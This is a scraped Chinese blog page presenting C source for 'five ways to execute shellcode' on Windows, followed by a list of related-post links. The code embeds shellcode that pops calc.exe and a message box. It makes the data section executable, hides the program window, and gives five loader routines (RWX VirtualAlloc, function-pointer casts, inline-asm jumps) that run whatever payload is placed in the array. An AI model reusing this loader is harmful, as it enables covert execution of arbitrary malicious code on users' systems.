//C语言执行shellcode的五种方法  #include <windows.h>
#include <stdio.h>  //data段可读写
#pragma comment(linker, "/section:.data,RWE")
//不显示窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO")   //一段打开Windows计算器(calc.exe)的shellcode
unsigned char shellcode_calc[] =
"\xb8\x82\x0a\x8d\x38\xd9\xc6\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x23"
"\x31\x42\x12\x83\xea\xfc\x03\xc0\x04\x6f\xcd\x38\xf0\x2b\x2e\xc0"
"\x01\x3f\x6b\xfc\x8a\x43\x71\x84\x8d\x54\xf2\x3b\x96\x21\x5a\xe3"
"\xa7\xde\x2c\x68\x93\xab\xae\x80\xed\x6b\x29\xf0\x8a\xac\x3e\x0f"
"\x52\xe6\xb2\x0e\x96\x1c\x38\x2b\x42\xc7\xc5\x3e\x8f\x8c\x99\xe4"
"\x4e\x78\x43\x6f\x5c\x35\x07\x30\x41\xc8\xfc\x45\x65\x41\x03\xb2"
"\x1f\x09\x20\x40\xe3\x83\xe8\x2c\x68\xa3\xd8\x29\xae\x5c\x15\xba"
"\x6f\x91\xae\xcc\x73\x04\x3b\x44\x84\xbd\x35\x1f\x14\xf1\x46\x1f"
"\x15\x79\x2e\x23\x4a\x4c\x59\x3b\x22\x27\x5d\x38\x0a\x4c\xce\x56"
"\xf5\x6b\x0c\xd5\x61\x14\x2f\x93\x7c\x73\x2f\x44\xe3\x1a\xa3\xe9"
"\xe4";  unsigned char shellcode[] =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56"
"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52"
"\xe8\x61\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42"
"\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58"
"\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20\x68\x6f"
"\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89"
"\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";  typedef void (__stdcall *CODE) ();  //http://rshell.blog.163.com/blog/static/41619170201110302937361/  //第一种方法
void RunShellCode_1()
{  PVOID p = NULL;  if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)  MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);  if (!(memcpy(p, shellcode, sizeof(shellcode))))  MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);  CODE code =(CODE)p;  code();  }  //第二种方法
void RunShellCode_2()
{  ((void(*)(void))&shellcode)();
}  //第三种方法
void RunShellCode_3()
{  __asm  {  lea eax, shellcode;  jmp eax;  }
}  //第四种方法
void RunShellCode_4()
{  __asm  {  mov eax, offset shellcode;  jmp eax;  }
}  //第五种方法
void RunShellCode_5()
{  __asm  {  mov eax, offset shellcode;  _emit 0xFF;  _emit 0xE0;  }
}  void main()
{  //RunShellCode_1();  //RunShellCode_2();  //RunShellCode_3();  //RunShellCode_4();  RunShellCode_5();
}  

C语言执行shellcode的五种方法相关推荐

  1. c语言调用linux脚本,C语言执行shellcode的五种方法

    //C语言执行shellcode的五种方法 #include #include //data段可读写 #pragma comment(linker, "/section:.data,RWE& ...

  2. asp 执行linux脚本,Shell.Application执行命令的五种方法小结

    当初老马写这个版本时,我测试过简繁两个2003版本的,当是是好用的.我猜测很可能与2003打了ms06014补丁有关.kyo在冰点论坛提出了解决方法,我今天下午研究了一下这个组件,发现它有5种方法可以 ...

  3. C语言编写1000元五种方法存五年的利息

    #include<stdio.h> #include<math.h> int main() {     double r1,r2,r3,r4,r5,p1,p2,p3,p4,p5 ...

  4. Python语言学习:基于python五种方法实现使用某函数名【func_01】的字符串格式('func_01')来调用该函数【func_01】执行功能

    Python语言学习:基于python五种方法实现使用某函数名[func_01]的字符串格式('func_01')来调用该函数[func_01]执行功能 目录 问题提出 代码五种设计思路 T1方法:e ...

  5. python函数可以提高代码执行速度吗_Python代码运行速度慢?这五种方法很管用

    对于Python很多人还是比较了解的,虽然说Python有很多优势但同样具有劣势,Python最大的劣势就是运行效率慢,那么如何提高Python代码运行速度呢?这五种方法很管用. 1.PyPy:在选择 ...

  6. 【224期】Java 字符串拼接五种方法的性能比较分析,从执行100次到90万次?

    点击上方"Java精选",选择"设为星标" 别问别人为什么,多问自己凭什么! 下方有惊喜,留言必回,有问必答! 每天 08:15 更新文章,每天进步一点点... ...

  7. 用函数统计各分数段人数c语言,如何使用Excel函数统计各或分数段的人数(五种方法).doc...

    Excel教程:妙用Excel五个函数统计学生期末考试分数段 考试结束,老师们都要对学生的考试成绩进行分析.各分数段人数的统计是其中一项必做的工作.在Excel中,怎样快速准确地统计分数段人数呢?以下 ...

  8. 用函数统计各分数段人数c语言,如何使用Excel函数统计各分数段的人数(五种方法)...

    如何使用Excel函数统计各分数段的人数(五种方法),对老师很有用哦. Excel教程:妙用Excel五个函数统计学生期末考试分数段 考试结束,老师们都要对学生的考试成绩进行分析.各分数段人数的统计是 ...

  9. 在生产环境下处理EFCore数据库迁移的五种方法

    在生产环境下处理EFCore数据库迁移的五种方法 原文链接:https://www.thereformedprogrammer.net/handling-entity-framework-core-d ...

最新文章

  1. java关键字 面试_java面试 关键字
  2. 计算机术语所见即所得,计算机应用基础作业四(16页)-原创力文档
  3. mybatis 原理_Mybatis工作流程及其原理与解析
  4. 邮箱通知php,PHPMailer 发送邮件(含详细介绍及使用方法说明)
  5. 启动mysql失败:net start mysql服务名无效
  6. 9203-1204-抄写
  7. python 文本相似度现状_python文本相似度分析
  8. jq使用教程03_JQData说明书概要
  9. 安装问题的审计(产生漏洞,抓包)
  10. mfsort shell语法_8.10 shell特殊符号cut命令 8.11 sort_wc_uniq命令 8.12 tee_tr_split命令 8.13 shell特殊符号下...
  11. Sogou input method on Ubuntu
  12. 《码出高效》个人总结1.1 二进制,按位运算
  13. .chm文件是什么怎么打开?
  14. 如何快速提升自己的Java 技术?
  15. 5G 室内融合定位白皮书
  16. jsp视频播放代码 avi
  17. 直播软件搭建直播服务架构
  18. 【每日面试】2021政采云Java一面
  19. Landsat系列数据级别详解
  20. 其实我不怕过光棍节,我只是怕你不过光棍节~

热门文章

  1. 类加载器-双亲委派-源码分析2
  2. request获得请求行的内容
  3. 通过docker的方式进行RocketMQ的安装
  4. 百万数据报表导出:原理分析与总结
  5. 微服务 Docker和DevOps
  6. SpringBoot_配置-自动配置原理
  7. 总结apply和call方法的使用 bind方法 bind方法的使用 函数中的几个成员
  8. FastDFS_install_document_detail
  9. java 怎么清除画布_HTML5 Canvas 清除画布
  10. c cuda 指定gpu_《CUDA C编程权威指南》——1.3 用GPU输出Hello World-阿里云开发者社区...